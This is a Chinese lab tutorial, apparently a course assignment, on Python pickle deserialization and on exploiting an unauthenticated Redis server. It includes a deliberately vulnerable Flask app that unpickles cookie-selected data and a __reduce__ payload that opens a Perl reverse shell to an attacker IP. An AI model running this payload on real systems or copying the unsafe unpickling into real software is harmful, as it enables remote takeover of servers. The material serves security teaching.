使用Python验证并利用Redis未授权漏洞

admin 2022年10月29日08:51:32评论45 views字数 5952阅读19分50秒阅读模式

文章来源|MS08067 Web高级攻防第3期作业

本文作者:huang(Web高级攻防3期学员)

Python序列化与反序列化

原理

Python序列化是将Python对象及其所拥有的层次结构转化为一个字节流的过程,反序列化是将字节流转化回一个对象层次结构。

Python对象序列化模块间的关系

在python中通常使用json、pickle/cPickle以及marshal、shelve等方式进行序列化和反序列化操作。

模块名称 描述 提供的api
json 用于实现Python数据类型与通用(json)字符串之间的转换 dumps()、dump()、loads()、load()
pickle/cPickle 用于实现Python数据类型与Python特定二进制格式之间的转换。pickle或cPickle两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。 dumps()、dump()、loads()、load()
marshal marshal负责在Python数值与二进制字节对象之间进行转换的。marshal的存在主要是为了支持 Python 的 .pyc 文件。 dumps()、dump()、loads()、load()
shelve shelve模块是一个简单的以k,v结构将内存中的数据通过文件持久化的模块,可以持久化任何pickle可支持的python数据类型 open()

一般pickle是序列化Python对象时的首选。

pickle与json模块的比较

1.JSON 是一个文本序列化格式(它输出 unicode 文本,尽管在大多数时候它会接着以 utf-8 编码),而 pickle 是一个二进制序列化格式;2.JSON 是我们可以直观阅读的,而 pickle 不是;3.JSON是可互操作的,在Python系统之外广泛使用,而pickle则是Python专用的;4.默认情况下,JSON 只能表示 Python 内置类型的子集,不能表示自定义的类;但 pickle 可以表示大量的 Python 数据类型(可以合理使用 Python 的对象内省功能自动地表示大多数类型,复杂情况可以通过实现 specific object APIs 来解决)。5.JSON对一个不信任的JSON进行反序列化的操作本身不会造成任意代码执行漏洞。而pickle 模块并不安全。你只应该对你信任的数据进行反序列化操作。构建恶意的 pickle 数据来在解封时执行任意代码是可以实现的的。下面我们重点讲解pickle模块如何实现反序列化。

Pickle模块序列化与反序列化

pickle序列化与反序列化函数

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

与 PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(python2)或字节流(python3),以便于传输与存储

python2和python3执行pickle模块

python2执行结果使用Python验证并利用Redis未授权漏洞python3执行结果使用Python验证并利用Redis未授权漏洞同样的代码,得到的结果完全不同。这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。具体可参考【https://www.cnblogs.com/wjrblogs/p/14057784.html】

python2执行结果字符的特殊含义如下

符号 说明 含义
c 读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中 导入模块及其具体对象,nt->windows,posix->linux
( 将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组 左括号
t 从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中 相当于),与(组合构成一个元组
R 将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中 标识反序列化时根据reduce中的方式完成反序列化,会避免报错(漏洞点)
S 读取引号中的字符串直到换行符处,然后将它压入堆栈 代表一个字符串
P 后面接一个数字,标识第N块堆栈 如p0,p1
. 将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。 标识结束

python3执行结果字符的特殊含义如下(因为我是用的python是最新的3.10版本,所以默认协议为4.参考链接:https://peps.python.org/pep-3154/, 其他版本协议参考https://blog.csdn.net/m0_65129142/article/details/121972449)

b'x80x04x95x0fx00x00x00x00x00x00x00x8cx0bhello worldx94.'

| x80 | x04 |              protocol header (2 bytes)    x80协议头声明 x04:协议版本
|  OP  |                     FRAME opcode (1 byte)      帧操作码x95
| MM MM MM MM MM MM MM MM |  frame size (8 bytes, little-endian)      帧大小x0fx00x00x00x00x00x00x00
| .... |                     first frame contents (M bytes)           数据:x8cx0bhello world
.                             结束                            x94.

Python反序列化与PHP反序列化的区别

(1)PHP在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。(2) Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE

python反序列化漏洞利用原理

ptyhon反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。所以容易被进行漏洞利用。官方解释如下:

使用Python验证并利用Redis未授权漏洞魔数函数__reduce__(),在构造的过程中有两种构造规则。(1)如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘str’,那么它就会在当前的作用域中寻找名为str的对象然后返回,否则报错。(2)如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。例如下面代码return (os.system,('whoami',)),_reduce_()时自动调用执行os.system函数,然后元组内的值whoami作为参数,从而达到执行命令或代码的目的。

使用Python验证并利用Redis未授权漏洞

所以我们可以利用__reduce__()第二种构造规则来执行恶意代码。

漏洞复现

Redis未授权利用

原理及漏洞、redis安装可参考https://www.cnblogs.com/bmjoker/p/9548962.html 当前测试环境需要安装redis服务,并且设置未授权问题。redis.conf文件中将bind 127.0.0.1注释掉,部分版本要将protected-mode yes 修改为protected-mode no。redis以root身份来运行。(普通权限运行也可测试) 启动redis服务

使用Python验证并利用Redis未授权漏洞测试反序列化漏洞代码如下:

import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__) #需要安装flask,pip install flask
class Redis: #定义Redis类,类中有三个方法,connect()方法负责连接redis数据库。注意IP和端口
    @staticmethod
    def connect():
        r = redis.StrictRedis(host='localhost', port=6379, db=0)
        return r
    @staticmethod
    def set_data(r,key,data,ex=None): #连接redis数据库后存值,(key=data)
        r.set(key,pickle.dumps(data),ex)  #在存储数据时先对数据进行序列化
    @staticmethod
    def get_data(r,key):#取值,根据key来取值,并对取出的数据进行反序列化
        data = r.get(key)
        if data is None:
            return None
        return pickle.loads(data)
def getrand():#获取随机字符串
    str='abcdefghijklnmopqrstuvwxyz1234567890'
    count = ''
    for i in range(10):
            index = random.randint(0,35)
            count += str[index]
    return count
@app.route('/',methods=['GET']) #用户请求为:http://127.0.0.1:5000?str=test,服务端获取str值并存入到redis,key是随机字符串,data是test
def hello_world():
    str = request.args.get('str')
    r = Redis.connect()
    rand = getrand()
    Redis.set_data(r,rand,str)
    return rand+':'+str
@app.route('/getcookie')#当用户访问http://127.0.0.1:5000/getcookie时需要提前在浏览器中设置cookie:session=key。注意key是存数据之前随机生成的,读取数据。对序列化的数据进行反序列化
def get_cookie():
    cookie = request.cookies.get('session')
    r = Redis.connect()
    data = Redis.get_data(r,cookie)
    return 'your data:',data
#return cookie
if __name__ == '__main__':
    app.run()

上述代码存储为code.py,运行:python code.py命令,就在5000端口启动简单的服务端使用Python验证并利用Redis未授权漏洞访问http://127.0.0.1:5000/?str=huang 即可利用代码中Redis类中set_data()方法往redis服务器中插入str变量huang,并通过getrand()生成随机字符串key

使用Python验证并利用Redis未授权漏洞访问redis服务器查看写入的数据情况,redis-cli使用Python验证并利用Redis未授权漏洞

使用Python验证并利用Redis未授权漏洞可见redis存在未授权漏洞,我们尝试利用Python来利用redis来获取服务器的shell。

通过构造payload 修改session,将session的值修改成可利用的shell,将下列代码保存为code3.py并执行

#!/usr/bin/env python
#encoding:utf-8
import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="192.168.1.101";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" #反弹shell的语句可以替换成其他方式
#192.168.1.100:5566为监听端口,为了反弹shell
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("c60kulaool", s) #c60kulaool为生成的session值

重新查看c60kulaool的值,shell成功插入

使用Python验证并利用Redis未授权漏洞访问http://127.0.0.1//getcookie 控制台设置cookie:session,命令:document.cookie= ' session=c60kulaool'

使用Python验证并利用Redis未授权漏洞

在攻击机上启动监听

使用Python验证并利用Redis未授权漏洞刷新访问127.0.0.1:5000/getcookie,攻击机上获得shell

使用Python验证并利用Redis未授权漏洞

参考文档:https://docs.python.org/zh-cn/3/library/pickle.html https://blog.csdn.net/qq_43431158/article/details/108919605 https://blog.csdn.net/m0_65129142/article/details/121972449 https://www.cnblogs.com/crelle/p/13528641.html https://www.sohu.com/a/406114366_472906



—  实验室旗下直播培训课程  —


使用Python验证并利用Redis未授权漏洞

使用Python验证并利用Redis未授权漏洞

使用Python验证并利用Redis未授权漏洞

使用Python验证并利用Redis未授权漏洞

使用Python验证并利用Redis未授权漏洞


来和10000+位同学加入MS08067一起学习吧!


使用Python验证并利用Redis未授权漏洞



原文始发于微信公众号(小兵搞安全):使用Python验证并利用Redis未授权漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日08:51:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Python验证并利用Redis未授权漏洞https://cn-sec.com/archives/1376279.html

发表评论

匿名网友 填写信息